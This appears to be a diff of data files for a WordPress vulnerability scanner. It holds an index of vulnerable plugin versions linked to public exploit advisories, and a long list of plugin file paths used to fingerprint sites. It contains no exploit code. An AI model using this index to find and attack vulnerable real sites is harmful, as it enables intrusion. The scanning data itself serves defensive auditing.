http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Islidex plugin 2.7 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Kino Gallery plugin 1.0 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Cms Pack plugin 1.3 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + A Gallery plugin 0.9 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Category List Portfolio Page plugin 0.9 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Really Easy Slider plugin 0.1 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Verve Meta Boxes plugin 1.2.8 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + User Avatar plugin 1.3.7 shell upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + Extend plugin 1.3.7 Shell Upload vulnerability + http://www.exploit-db.com/exploits/17872/ + UPLOAD + + + + + + AdRotate plugin <= 3.6.5 SQL Injection Vulnerability + http://unconciousmind.blogspot.com/2011/09/wordpress-adrotate-plugin-365-sql.html + SQLI + + + AdRotate plugin <= 3.6.6 SQL Injection Vulnerability + http://www.exploit-db.com/exploits/18114/ + SQLI + + + + + + WP-SpamFree 3.2.1 Spam SQL Injection Vulnerability + http://www.exploit-db.com/exploits/17970/ + SQLI + + + + + + GD Star Rating plugin <= 1.9.10 SQL Injection + http://www.exploit-db.com/exploits/17973/ + SQLI + + + GD Star Rating plugin <= 1.9.16 Cross Site Scripting + http://www.packetstormsecurity.org/files/112702 + SQLI + + + + + + Contact Form plugin <= 2.7.5 SQL Injection + http://www.exploit-db.com/exploits/17980/ + SQLI + + + + + + WP Photo Album Plus <= 4.1.1 SQL Injection + http://www.exploit-db.com/exploits/17983/ + SQLI + + + + + + BackWPUp 2.1.4 Code Execution + http://www.exploit-db.com/exploits/17987/ + RCE + + + plugin BackWPup 1.5.2, 1.6.1, 1.7.1 Remote and Local Code Execution Vulnerability + http://osvdb.org/show/osvdb/71481 + RCE + + + + diff --git a/data/plugins.txt b/data/plugins.txt new file mode 100644 index 00000000..1e0e34d3 --- /dev/null +++ b/data/plugins.txt @@ -0,0 +1,2716 @@ +media-tags/readme.txt +wponlinebackup/LICENCE.txt +wordpress-seo/license.txt +wp-commentnavi/commentnavi-css.css +sabre/readme.txt +cachify/cachify.php +wordpress-meta-keywords/readme.txt +movabletype-importer/movabletype-importer.php +woo-superb-slideshow-transition-gallery-with-random-effect/License.txt +share-and-follow/RemoteConnector.php +css-javascript-toolbox/css-js-toolbox.php +facebook-tab-manager/facebook.png +easy-shortcode-buttons/button.js +wordpress-theme-demo-bar/default.css +gigya-socialize-for-wordpress/comments.php +ultimate-google-fonts/readme.txt +jquery-horizontal-slider/horizontalslider.js +wordpress-multi-site-enabler-plugin-v10/enable-multisite.php +facebook-fanbox-with-css-support/facebook-fanbox-with-css-support.php +ajax-loginregister/checkregister.php +mobile-gallery/license.txt +event-espresso-free/change_log.txt +contactme/contactmedotcom.php +bp-gtm-system/readme.txt +wp-cleanup/readme.txt +html5-and-flash-video-player/expressinstall.swf +google-authorship-widget/google-authorship-widget.php +ajax-login/ajax-login.php +wordpress-access-control/default-widgets.php +coin-slider-4-wp/coinslider-content.php +quick-post-widget/quick-post-widget-help.html +network-latest-posts/network-latest-posts.php +jquery-horizontal-scroller/init.php +facebook-comments/facebooknotes.php +lazy-widget-loader/COPYRIGHT.txt +juiz-last-tweet-widget/documentation.html +wp-ad-gallery/readme.txt +tabber-widget/editor.php +media-library-categories/add.php +tabbed-widgets/readme.txt +fix-my-feed-rss-repair/fix.php +jquery-drop-down-menu-plugin/jquery-drop-down-menu.php +google-maps-v3-shortcode/Google-Maps-v3-Shortcode.php +baap-mobile-version/baap-mobile-version.php +ajaxchat/ajaxchat.css.php +flip-photo-gallery/album.class.php +wp-custom-admin-bar/custom-admin-bar-admin.php +login-dongle/LoginDongleMail.php +wordpress-gzip-compression/ezgz.php +komoona-ads-google-adsense-companion/Komoona_AdSense.php +iframe/iframe.php +wp-super-popup/admin.js +copyright-licensing-tools/icopyright-admin.php +facebook-like-button-plugin/facebook-like-button-plugin.php +wp-page-widget/readme.txt +mute-screamer/mscr_admin.php +popular-widget/include.php +social-network-user-detection/adapt_custom_api_settings.php +admin-trim-interface/admin-trim-interface.php +simple-popup/css.php +really-simple-captcha/license.txt +wp-ecommerce-compare-products/LICENSE.txt +complete-language-switch/complete-lang-switcher.php +sitemap/readme.txt +ucontext/api_key.txt +videogall/license.txt +paypal-donations/paypal-donations.php +easyreservations/changlog.html +single-post-template/post_templates.php +jj-nextgen-jquery-cycle/jj-ngg-jquery-cycle.php +haiku-minimalist-audio-player/haiku-admin.php +datafeedr-ads/datafeedr-ads.php +arkayne-site-to-site-related-content/arkayne.php +pretty-link/pretty-link.php +wp-pda/license.txt +wp-tumblr-embeder/readme.txt +really-simple-facebook-twitter-share-buttons/email.png +adsense-wordpress-plugin/adsense-wordpress-plugin.php +wordpress-bootstrap-css/hlt-bootstrap-shortcodes.php +simple-social-sharing-widgets-icons-updated/readme.txt +web-invoice/Display.php +flattr/flattr.css +jigoshop/index.php +wp-typography/class-wpTypography.php +custom-more-link-complete/custom-more-link-complete.php +simple-auto-featured-image/readme.txt +user-switching/readme.txt +resize-twenty-eleven-header/license.txt +bwp-recaptcha/bwp-recaptcha-ms.php +ultimate-follow-me/readme.txt +neat-skype-status/neat-skype-status.php +sharebar/readme.txt +wp-homepage-slideshow/functions.php +mlanguage/editor_plugin.js +transparent-image-watermark-plugin/plugin-admin.php +translate/readme.txt +genesis-favicon-uploader/genesis-favicon-uploader.php +wordpress-mu-domain-mapping/Changelog.txt +latest-news-plugin/latest-news.php +growmap-anti-spambot-plugin/commentluv-plus-logo.png +paypal-framework/help.png +anthologize/anthologize.php +bp-registration-options/bp-registration-options.php +page-excerpt/pageExcerpt.php +super-rss-reader/Thumbs.db +widget-wrangler/README.txt +category-posts-in-custom-menu/category-posts-in-custom-menu.php +jquery-vertical-mega-menu/dcwp_jquery_vertical_mega_menu.php +featured-articles-lite/add_content.php +wpms-mobile-edition/readme.txt +share-widget/README.txt +rejected-magic-contact-rejected/form-admin.php +collabpress/cp-loader.php +wp-robots-txt/readme.txt +wp-posturl/posturl-options.php +genesis-simple-menus/readme.txt +commentluv/commentluv.php +custom-tables/custom-tables-search.php +easytube/easytube.php +ultimate-maintenance-mode/license.txt +mealingua/helper.php +wp-chgfontsize/decrease_activated.gif +wordpress-password-register/default.mo +random-image-gallery-with-pretty-photo-zoom/License.txt +wp-title-2/readme.txt +duplicator/duplicator.php +follow-button-for-jetpack/follow%20button%20for%20jetpack.php +s2member-to-wp-autoresponder-integration/readme.txt +auto-attachments/a-a.css +image-parallax/readme.txt +contact-form-wp/calendar.gif +faster-image-insert/faster-image-insert.php +all-in-one-seo-pack-importer/all-in-one-seo-pack-importer.php +wordpress-automation-suite/AutoMore.php +ultimate-video-gallery/color_select.css +js-banner-rotate/jsbrotate.php +strictly-autotags/readme.txt +pinterest +wti-like-post/readme.txt +akfeatured-post-widget/ak_featured_post.php +featured-page-widget/featured-page-widget.php +register-plus-redux-export-users/README_OFFICIAL.txt +wufoo-shortcode/readme.txt +wp-jalali/readme.txt +powerpress/FlowPlayerClassic.swf +audiobar/audiobar-container.php +social-metrics/readme.txt +buddypress-easy-albums-photos-video-and-music/history.txt +wp-mashsocial-wigdet/Main%20View.png +nkthemeswitch/index.html +twitter-goodies-widgets/readme.txt +user-submitted-posts/readme.txt +simple-social-icons/readme.txt +wp-slimbox2/adminpage.php +tdlc-birthdays/core.php +wordpress-facebook-like-plugin/Wordpress-Facebook-Like-Plugin.php +wordpress-custom-avatars-plugin/Screenshot-1.png +spostarbust/index.php +appointment-calendar/app_calendar_tables.php +wp125/adminmenus.php +seo-title-tag/admin-2.3.css +social-essentials/readme.txt +contact-form-7-widget/contact-form-7-widget.php +facebook-optimize/facebook-optimize.php +global-translator/flag_ar.png +horizontal-scroll-image-slideshow/License.txt +easy-facebook-share-thumbnails/index.php +shareaholic/readme.txt +social-media-page/Licence.txt +enable-media-replace/enable-media-replace-da_DK.mo +category-post-widget/category-post.php +toolbar-buddy/readme.txt +youtube-to-wp-post/readme.txt +youyan-social-comment-system/api.php +buddypress-friends-on-line/readme.txt +the-events-calendar/readme.txt +advanced-text-widget/advancedtext.php +continuous-announcement-scroller/License.txt +majestic-seo-dashboard-graphs/majestic-seo-dashboard.php +simple-page-sidebars/readme.txt +kk-star-ratings/kk-ratings.php +pinterest-pin-it-button/pinterest-pin-it-button.php +twitter-feeder/readme.txt +woocommerce-admin-bar-addition/readme.txt +featured-content-gallery/README.txt +pinterest-pin-it-button-for-images/readme.txt +wp-simple-spamcheck/readme.txt +simple-facebook-share-button/readme.txt +contactbuddy-by-pluginbuddycom/README.txt +bulk-page-creator/bulk-page-creator.php +digiproveblog/CopyrightProof.php +feedburner-setting/feedBurner-feedSmith-extend.php +google-plus-badge/define.php +1-click-retweetsharelike/JSON.php +article-directory/article-directory.php +facebook-twitter-google-plus-one-social-share-buttons-for-wordpress/index.html +genesis-admin-bar-plus/genesis-admin-bar-plus.php +more-types/more-types-object.php +wp-optimize/index.htm +youyan-social-comment-system/comment.php +woocommerce/dummy_data.xml +tierra-audio-with-autoresume/audio-playlist-manager.php +ip-filter/ipfilter.php +taggator/readme.txt +simple-image-widget/readme.txt +wp-smushit/bulk.php +easy-nivo-slider/easy-nivo-slider.php +wp-contact-form/buttonsnap.php +social-slider/ajax.php +simple-trackback-validation-with-topsy-blocker/readme.txt +awesome-ads/awesome-ads.php +wordpress-thread-comment/default.mo +onlywire-bookmark-share-button/buttonid.php +wp-slug/gb2312-utf8.table +vertically-scroll-rss-feed/readme.txt +searchterms-tagging-2/readme.txt +carousel-of-post-images/license.txt +cleantalk-spam-protect/cleantalk-rel.js +404-to-start/readme.txt +wordpress-plugin-for-simple-google-adsense-insertion/WP-Simple-Adsense-Insertion.php +cimy-header-image-rotator/README_OFFICIAL.txt +category-images-ii/category-images-ii.php +gregs-high-performance-seo/ghpseo-options-functions.php +openid/admin_panels.php +great-real-estate/WP_great-real-estate_translation_FR.txt +hacklog-remote-image-autosave/download.php +popup/License.txt +loginza/JSON.php +yourls-wordpress-to-twitter/plugin.php +enhanced-wordpress-contactform/comment.png +multisite-user-registration-manager/Akismet.class.php +simple-google-map/CNP.gif +theme-tweaker-lite/head-text.php +advanced-category-column/advanced-cc.php +advanced-category-excluder/CHANGES.txt +wordpress-posts-timeline/license.txt +leaguemanager/ajax.php +thank-me-later/readme.txt +backup/backup.php +ultimate-coming-soon-page/license.txt +youtuber/readme.txt +drop-in-image-slideshow-gallery/License.txt +qtranslate-to-wpml-export/plugin.php +wet-maintenance/readme.txt +youtube-channel/chromeless.swf +featured-image/featured-image.php +zopim-live-chat/JSON.php +pie-register/addBtn.gif +generate-post-thumbnails/generate-post-thumbnails.php +simple-likebuttons/readme.txt +wp-render-blogroll-links/WP-Render-Blogroll.php +microsoft-ajax-translation/README.txt +simple-galleria-for-wordpress/readme.txt +shutter-reloaded/Installationsvejledning.txt +buddypress/readme.txt +flash-album-gallery/changelog.txt +delete-duplicate-posts/readme.txt +better-plugin-compatibility-control/better-plugin-compatibility-control.php +wp-cirrus/cirrusCloud.css +feedburner-subscription-widget/gpl-2.0.txt +hungred-post-thumbnail/hpt_admin_page.php +relevanssi/delete.png +bbpress-vip-support-plugin/bbps-premium-support.php +add-multiple-users/amustyle.css +slideshow/license.txt +custom-meta-widget/customMeta.php +open-external-links-in-a-new-window/open-external-links-in-a-new-window.php +woocommerce-multilingual/readme.txt +leenkme/facebook.php +like/readme.txt +w4-post-list/readme.txt +job-manager/admin-application-form.php +image-widget/image-widget.js +gd-press-tools/ajax.php +banckle-live-chat-for-wordpress/Thumbs.db +twitter-plugin/readme.txt +disqus-comment-system/comments.php +wp-rss-multi-importer/readme.txt +baw-login-logout-menu/bawllm.php +date-exclusion-seo-plugin/date-exclusion-seo.php +wp-email-capture/readme.txt +affiliate-link-cloaking/affiliatelinkcloaking.php +google-news-widget/google-news-widget.php +jamie-social-icons/editor_jamie.js +gpp-slideshow/gpp_activate.php +list-category-posts/README.markdown +wp-complete-backup/readme.txt +nextgen-scrollgallery/nggScrollGallery.php +google-maps-gpx-viewer/google-maps-gpx-viewer.php +wordtube/changelog.txt +anti-splog/anti-splog.php +pinterest-badge/loading.gif +mdr-webmaster-tools/README.txt +networks-for-wordpress/index.php +peckplayer/PeckPlayer.class.php +instagram-gallery-widget/config.php +pixelating-image-slideshow-gallery/help.php +wordpress-css-drop-down-menu/css_dropdownmenu.php +simple-pagination/readme.txt +wp-facebox-gallery/facebox.css +slickr-flickr/galleria-1.2/ +imsanity/ajax.php +navayan-subscribe/ny-admin-ui.css +basic-google-maps-placemarks/TODO.txt +simplemodal-contact-form-smcf/readme.txt +wp-client-file-share/index.php +cudazi-scroll-to-top/README.txt +safe-search-replace/readme.txt +header-slideshow/header-slideshow.php +nospamnx/nospamnx-be_BY.mo +modernizr/modernizr.php +export-users-to-csv/export-users-to-csv.php +hey-its-a-flickr-widget/heyitsflickr.php +registration-form-widget/license.txt +wp-post-columns/GPL_license.txt +anmiated-twitter-bird/AnimatedTwitterBird.php +adsense-daemon +wordpress-seo-rank/readme.txt +oik-nivo-slider/jquery.nivo.slider.js +wordpress-form-manager/ajax.php +continuous-rss-scrolling/License.txt +onswipe/onswipe.php +easy-sign-up/Readme.txt +backup-scheduler/backup-scheduler.php +multisite-user-management/ms-user-management.php +wp-protect/readme.txt +vibe-seo-pack/index.php +twitter-blackbird-pie/blackbird-pie.php +youtube-with-fancy-zoom/License.txt +front-page-category/front-page-category.php +wp-facebook-open-graph-protocol/readme.txt +pageview/pageview.php +igit-related-posts-with-thumb-images-after-posts/Readme.txt +instagram-widget-for-wordpress/instagram.php +custom-post-background/custom-post-back.php +order-up-custom-post-order/custompostorder.php +wp-whos-online/readme.txt +wordpress-google-maps/license.txt +stream-video-player/bootstrap.php +facebook-comments-notify/fbcomments-notify.php +facebook-members/facebook-members.php +wp-cycle/jquery.cycle.all.min.js +local-time-clock/countries.ser +chat/chat.php +buddypress-share-it/admin.php +post-to-facebook/post-to-facebook.css +loginradius-for-wordpress/LoginRadius.php +excerpt-editor/excerpt-editor.css +nice-paypal-button-lite/nicePayPalButtonLite.php +visitor-maps/class-wo-been.php +ppinger/readme.txt +add-linked-images-to-gallery-v01/attach-linked-images.php +image-vertical-reel-scroll-slideshow/License.txt +wp-pagenavi-style/readme.txt +recent-tweets-widget-enhanced/Recent%20Tweets%20Enhanced.php +question-and-answer-forum/Akismet.class.php +jquery-t-countdown-widget/countdown-timer.php +microkids-related-posts/microkids-related-posts-admin.css +rss-includes-pages/readme.txt +easy-restaurant-menu-manager/easy-restaurant-menu-manager.php +facebook-like-box/facebook-like-box.php +boo-boxfy/boo-boxfy.php +delete-revision/changelog.txt +seo-image/readme.txt +jw-share-this/digg.png +buddypress-ajax-chat/README.txt +add-link-to-facebook/add-link-to-facebook-admin.css +authenticator/authenticator.php +wp-flickrshow/adminlogo.png +wp-htaccess-control/index.php +sponsors-carousel/jcarousel.css +twitter-for-wordpress/readme.txt +rss-digest/readme.txt +snapshot-backup/readme.txt +facebook-open-graph-meta-in-wordpress/fbogmeta.php +vertical-scroll-recent-comments/License.txt +qtranslate/arrowdown.png +facebook-dashboard-widget/fdw.php +underconstruction/ajax-loader.gif +scroll-post-excerpt/License.txt +list-yo-files/dn-up-2.png +one-click-plugin-updater/do_update.php +placester/placester.php +widget-builder/readme.txt +simple-flickr-plugin/readme.txt +videosurf-video-link-enhancer/readme.txt +wp-facebook-connect/avatar.php +wordpress-tooltips/license.txt +shadowbox-js/readme.txt +twitter-widget-pro/readme.txt +facebook-activity-feed-widget-for-wordpress/default.mo +mudslideshow/mudslideshow.js +youtube-favorite-video-posts/readme.txt +allow-wordpowerpoint-file-uploads/allow-word-powerpoint-file-uploads.php +social-profiles-widget/plugin.php +easy-ads-lite/ad-slots-small.gif +tantan-flickr/flickr.php +styled-facebook-like-box/readme.txt +wp-coming-soon/readme.txt +style-my-gallery/FlexSlider-1.8/ +genesis-featured-images/genesis-featured-images.php +post-category-index-generator/index.php +agentpress-listings/plugin.php +dynamic-headers/AC_RunActiveContent.js +google-mp3-audio-player/ca-admin-page.php +weather-and-weather-forecast-widget/gg_funx_.php +widget-logic-visual/ajax.php +bulk-comment-remove/Bulk_Comment_Removal.php +cubepoints-buddypress-integration/createdby.png +dt-author-box/dt_authorbox.php +extended-categories-widget/readme.txt +simple-facebook-comments-for-wordpress/SFCController.php +ads-content/ads-content.php +ambrosite-nextprevious-post-link-plus/ambrosite-post-link-plus.php +improved-include-page/iinclude_page.php +share-buttons-simple-use/index.php +sharexy/SharexyAdmin.php +fancybox-gallery/fancybox-gallery.php +mappress-google-maps-for-wordpress/readme.txt +multiple-content-blocks/multiple_content.php +wp-float/readme.txt +welcome-pack/license.txt +pubsubhubbub/publisher.php +wp-jquery-cdn/GPL-LICENSE.txt +html-on-pages/html-on-pages.php +ultimate-blogroll/readme.txt +genesis-palette/gs-deploy.php +podpress/download.mp3 +ajax-weather/ajax_weather_widget.php +woocommerce-delivery-notes/readme.txt +askapache-google-404/askapache-google-404.php +restrict-categories/readme.txt +reveal-ids-for-wp-admin-25/authorplugins.inc.php +magic-post-thumbnail/magic_post_thumnail.php +recent-posts-plugin/readme.txt +facebook-like-a-lot/facebooklike.php +byob-thesis-simple-header-widgets/byob-thesis-simple-header-widgets.php +custom-admin-bar/custom-admin-bar.php +ad-inserter/ad-inserter.php +seo-slugs/readme.txt +featured-posts-scroll/featured-posts-scroll-admin.php +wp-limit-posts-automatically/readme.txt +youtube-shortcode/readme.txt +nextgen-public-uploader/nextgen-public-uploader.php +newsletter-sign-up/newsletter-sign-up.php +wp-reservation/index.html +cleverness-to-do-list/cleverness-to-do-list.php +my-link-order/mylinkorder-cs_CZ.mo +yet-another-related-posts-plugin/blogglue.php +user-meta/readme.txt +admin-management-xtended/admin-management-xtended.php +multi-level-navigation-plugin/admin.css +font/Font.php +registered-users-only/readme.txt +gotmls/index.php +wp-downloadmanager/download-add.php +magic-fields/MF_Constant.php +wpematico/readme.txt +jj-nextgen-jquery-carousel/jj-ngg-jquery-carousel.php +random-posts-widget/randomposts.php +lazy-load/lazy-load.php +bp-profile-as-homepage/bp_profile_as_homepage.php +wp-admin-bar-removal/gpl-2.0.txt +facebook-social-plugins/readme.txt +duplicate-posts-remover/index.php +clean-contact/clean-contact.mo +sodahead-polls/config.php +most-commented/most-commented.php +share-on-facebook/readme.txt +contact-form-7-datepicker/contact-form-7-datepicker.php +mp3-player/css.css +socialpublish/SocialpublishBootstrap.php +tweetmeme/button.js +google-website-optimizer-for-wordpress/control_script.gif +wp-jquery-lightbox/about.php +free-stock-photos-foter/foter-view.php +wordpress-popup/license.txt +bwp-google-xml-sitemaps/bwp-simple-gxs-ms.php +genesis-simple-hooks/admin.php +wp-sentinel/configuration.json +wp-cleanfix/readme.txt +wp-followme/followme.php +google-calendar-widget/date.js +ck-and-syntaxhighlighter/ck.class.php +calpress-event-calendar/calpress.php +randomtext/randomtext.php +options-framework/options-framework.php +flexo-facebook-manager/admin.css.php +wp-vipergb/WP-ViperGB.php +image-zoom/core.class.php +velvet-blues-update-urls/readme.txt +social-discussions/JSON.php +wordpress-mobile-pack/readme.txt +types/admin.php +lightbox-pop/XYZ%20Lightbox%20Pop%20-%20User%20Guide.pdf +twitter-tools/OAuth.php +recent-google-searches-widget/readme.txt +wp-post-thumbnail/readme.txt +hl-twitter/admin.php +duplicate-post/duplicate-post-admin.php +sh-slideshow/ajax.php +sucuri-scanner/readme.txt +restrict-content/readme.txt +quick-chat/license.txt +fpw-category-thumbnails/Thumbs_Up.png +statpress-reloaded/readme.txt +ncode-image-resizer/ncode-image-resizer.php +easy-gallery-slider/readme.txt +duoshuo/api.php +better-adsense-targeting/better-adsense.php +wp-mail-options/options.txt +baw-post-views-count/about.php +easy-translator-lite/easy-translator-lite.php +subscribe2/Licence.txt +vote-it-up/LICENSE.txt +wp-e-commerce-store-toolkit/license.txt +send-e-mail/readme.txt +dm-albums/dm-albums-external.php +simple-events-calendar/counter.js +ckeditor-for-wordpress/ckeditor.config.js +roi-seo/readme.txt +woocommerce-all-in-one-seo-pack/all-in-one-seo-pack.php +widget-context/admin-style.css +wereviews/readme.txt +wp-native-dashboard/automattic.php +ninja-forms/ninja_forms.php +yahoo-weather/readme.txt +buddypress-toolbar/bptb-plugins.php +kimili-flash-embed/kml_flashembed.php +social-facebook-all-in-one/index.html +openbook-book-data/gpl.txt +advanced-code-editor/advanced-code-editor.php +quick-notice/quick-notice.php +a-colored-tag-cloud/colored-tag-cloud.php +rimons-twitter-widget/readme.txt +rich-text-widget/media-upload.js +mobstac-blogger/FastJSON.class.php +wordpress-sliding-drawer-content-area/documentation.txt +buddypress-group-email-subscription/bp-activity-subscription-digest.php +genesis-simple-headers/functions.php +role-scoper/RoleScoper_UsageGuide.htm +wordpress-ping-optimizer/cbnet-ping-optimizer.php +ktai-entry/README.ja.html +wordpress-tabs-slides/hacks.css +floating-menu/dcwp_floating_menu.php +after-the-deadline/after-the-deadline.php +find-replace/find_replace.php +gravity-forms-addons/entry-details.php +advanced-events-registration/change_log.txt +seo-facebook-comments/readme.txt +no-self-ping/no-self-pings.php +wp-flickr-press +clean-options/cleanoptions.php +pinterest-image-pin/functions.php +flip-pong-v/flip-pong-V.php +ecwid-shopping-cart/ecwid-shopping-cart.php +wordpress-simple-survey/COPYRIGHT.txt +polylang/polylang.php +wp-twitter-feed/readme.txt +inquiry-form-creator/inquiry-form-creator.php +wp-gravatar/gravatars.php +wibiya/readme.txt +regenerate-thumbnails/readme.txt +members-list/conf.php +shockingly-simple-favicon/gpl-3.0.txt +gantry-buddypress/CHANGELOG.php +youtube-embed/readme.txt +ultimate-live-chat/readme.txt +spider-fc/EventsCalendar.swf +lockdown-wp-admin/admin-private-users.php +yikes-inc-easy-mailchimp-extender/license.txt +robots-meta/readme.txt +wp-facebookconnect/common.php +wordpress-23-related-posts-plugin/Thumbs.db +wp-nofollow-post/readme.txt +google-news-sitemap-generator/google-news-sitemap.php +fancy-image-show/fancy-image-show.php +feed-reading-blogroll/feedreading_blogroll.php +super-recent-posts/readme.txt +tinymce-templates/editor.css +pagebar/activate.php +featured-item-slider/content-slideshow.php +smart-youtube/readme.txt +wp-invoice/readme.txt +adsense-insert/adopt_admin_styles.css +popup-contact-form/popup-contact-form.css +html-purified/html-purified.php +google-map-shortcode/google-map-shortcode.php +xml-sitemap-feed/XMLSitemapFeed.class.php +disable-wordpress-updates/disable-updates.php +permalinks-moved-permanently/permalinks-moved-permanently.php +wp-special-textboxes/browser.php +leaflet-maps-marker/class-leaflet-options.php +my-beautiful-tubes/my-beautiful-tubes.php +google-privacy-policy/amazon.jpg +yet-another-photoblog/Yapb.php +verve-mobile-plugin/Verve-Mobile-Plugin-Documentation.docx +optimize-db/optimize-db.php +wordpress-friends-feed/Custom%20Software%20Development.url +tubepressnet/JSON.php +wp-homepage-slideshow/default.xml +monster-widget/monster-widget.php +pagerestrict/pagerestrict.php +rating-widget/icon.png +google-document-embedder/gde-dialog.php +superb-slideshow/gopiplus.com.txt +6scan-protection/6scan.php +wpmarketplace/readme.txt +facebook-comments-for-wordpress/readme.txt +simple-facebook-comments/readme.txt +pirobox-extended/pb-functions.php +admin-bar-disabler/admin-bar-disabler.php +multiple-galleries/multiple-galleries.js +no-category-base-wpml/index.php +category-grid-view-gallery/cat_grid.php +nextgen-gallery-optimizer/nextgen-gallery-optimizer.php +cyr2lat/cyr-to-lat.php +facebook-awd/AWD_facebook.php +automatic-wordpress-backup/S3.php +wordpress-plugin-random-post-slider/readme.txt +wp-code-highlight/readme.txt +wp-e-commerce-fixed-rate-shipping/readme.txt +wp-updates-notifier/readme.txt +prime-strategy-bread-crumb/prime-strategy-bread-crumb.php +facebook-like-thumbnail/admin.php +wp-post-view/README.txt +simply-poll/config.php +wp-youtube-lyte/index.html +automatic-featured-image-posts/automatic-featured-image-posts.php +front-slider/front-slider.php +cross-linker/crosslink.php +xcloner-backup-and-restore/admin.cloner.html.php +wp-image-news-slider/image_newsslider.xml +onclick-popup/License.txt +myarcadeblog/changelog.txt +query-posts/license.txt +link-to-post/link-to-post.php +wp-music-player/pagination.class.php +wordpresscom-stats-smiley-remover/readme.txt +scripts-gzip/blacklist.php +my-weather/countries.ser +multiple-featured-images/multiple-featured-images.php +banner-garden/bannergarden.class.php +livefyre-comments/comments-legacy.php +facebook-like-social-widget/facebook_like_social_widget.php +ajax-thumbnail-rebuild/ajax-thumbnail-rebuild.php +pica-photo-gallery/LICENSE.txt +websitedefender-wordpress-security/readme.txt +digg-digg +flexi-pages-widget/flexi-pages-widget.php +iq-block-country/geoip.inc +events-planner/events-planner.php +webreserv-booking-calender-plugin/WebReserv.php +easy-google-analytics-for-wordpress/ga_admin_set.php +taobaoke-plugin-for-wordpress/include.php +admin-flush-w3tc-cache/admin_flush_w3tc.php +buddypress-toolbar/buddypress-toolbar.php +decent-comments/class-decent-comment.php +quick-xml-sitemap/qsitemap.class.php +newpost-catch/class.php +wpgplus/README.txt +wpgform/gforms.css +all-in-one-event-calendar/COPYING.txt +wordpress-protection/index.php +links-shortcode/links-shortcode.css +horizontal-scrolling-announcement/License.txt +google-web-fonts-for-wordpress/readme.txt +wp-document-revisions/license.html +cw-image-optimizer/bulk.php +genesis-footer-widgets/genesisfooterwidget.php +cbnet-twitter-widget/cbnet-twitter-widget.php +add-widgets-to-page/addw2p.php +multiple-category-selection-widget/admin-form.php +event-calendar-3-for-php-53/TODO.txt +lightbox-plus/lightbox-plus.pot +rps-image-gallery/license.txt +breadcrumb-navxt/breadcrumb_navxt_admin.php +wordpress-firewall-2/readme.txt +postaffiliatepro/Base.class.php +custom-post-template/custom-post-templates.php +language-bar-flags/admin-style.css +weever-apps-for-wordpress/admin.php +font-resizer/font-resizer.php +awesome-google-adsense/ajax.php +insert-adsense/adimage1.png +search-meter/admin.php +webmaster-tools-verification/readme.txt +getmecooking-recipe-template/readme.txt +nextgen-gallery-sidebar-widget/ngg-sidebar-widget.php +simple-page-ordering/readme.txt +demo-data-creator/demodata.php +wapple-architect/architect.php +sb-child-list/readme.txt +peters-login-redirect/peterloginrd-cs_CZ.mo +wordpress-flash-uploader/license.txt +punchtab/punchtab.php +associated-posts/index.php +theme-check/checkbase.php +easy-iframe-loader/admin-page.php +embed-iframe/embediframe.php +audio-player/audio-player.php +rss-in-page/RSSinpage.php +izcalender/functions.js +wysija-newsletters/index.php +vkontakte-api/close-wp.php +private-wordpress-access-control-manager/index.php +simple-sidebar-navigation/livequery_1.0.2/ +worker/api.php +foliopress-wysiwyg/foliopress-wysiwyg-class.php +s2member/index.php +more-fields/more-fields-field-types.php +flickr-set-slideshows/banner-772x250.png +compfight/compfight-search.php +text-expander/media-button-expander.php +user-access-manager/readme.txt +page-link-manager/page-link-manager.php +tentblogger-optimize-wordpress-database-plugin/README.txt +wp-paginate/license.txt +wp-hyper-response/readme.txt +fancy-box/fancy_closebox.png +ep-hashimage/hashimage.php +subscribe-to-double-opt-in-comments/readme.txt +facebook-like-box-widget/facebook-like-box-widget.php +wp-hide-pages/readme.txt +advanced-menu-widget/advanced-menu-widget.php +massive-sitemap-generator/massive_sitemap_generator.php +linkworth-wp-plugin/LinkWorth_WordPress.php +codecolorer/codecolorer-admin.php +advanced-tinymce-configuration/adv-mce-config.php +fix-rss-feed/fix-rss-feed-screenshot.jpg +latest-twitter-sidebar-widget/latest_twitter_widget.css +add-to-any-subscribe/README.txt +cookiecert-eu-cookie-directive/cc_privacy.php +google-image-sitemap/image-sitemap.php +videojs-html5-video-player-for-wordpress/readme.txt +subscribe-to-comments-reloaded/LICENSE.txt +cackle/cackle.php +invite-anyone/functions.php +wp-stats-dashboard/readme.txt +threader/readme.txt +auto-excerpt-everywhere/auto-excerpt-everywhere.php +my-page-order/mypageorder-by_BY.mo +top-commentators-widget/readme.txt +statpress-community-formerly-statcomm/readme.txt +adrotate/adrotate-functions.php +breadcrumb-trail/breadcrumb-trail-en_EN.mo +wp-calendar/FormEvent.php +wordfence/readme.txt +advanced-recent-posts-widget/advanced-recent-posts-widget.php +seo-tag-cloud/preview.js +wp-copyprotect/readme.txt +fb-status-updater/fb-status-updater.php +easy-fancybox/easy-fancybox-settings.php +photosmash-galleries/ajax-wp-upload.php +fontific/fontific.php +amazon-product-in-a-post-plugin/amazon-product-in-a-post.php +user-specific-content/User-Specific-Content.php +wp-hide-post/readme.txt +seo-tag-cloud/readme.txt +meteor-slides/meteor-slides-plugin.php +instagram-for-wordpress/readme.txt +content-management-system-dashboard/cms-dashboard.css +wp-approve-user/obenland-wp-plugins.php +station-pro/crawler.js +wp-prettyphoto +smart-archives-reloaded/core.php +hello-dolly/hello.php +posttabs/301a.js +wp-rss-images/readme.txt +timeline-verite-shortcode/README.md +best-google-adsense/Thumbs.db +youtube-feeder/readme.txt +new-twitter-button/new-twitter-button.php +all-in-one-favicon/all-in-one-favicon.php +theme-my-profile/readme.txt +p2pconverter/p2pConverter.php +gd-bbpress-tools/gd-bbpress-tools.php +jquery-slides/jquery-slides.php +intensedebate/comments.png +slick-contact-forms/dcwp_slick_contact.php +cloudsafe365-for-wp/cloudsafe365_for_WP.php +disable-wordpress-plugin-updates/disable-plugin-updates.php +bp-phototag/loader.php +post-plugin-library/admin-subpages.php 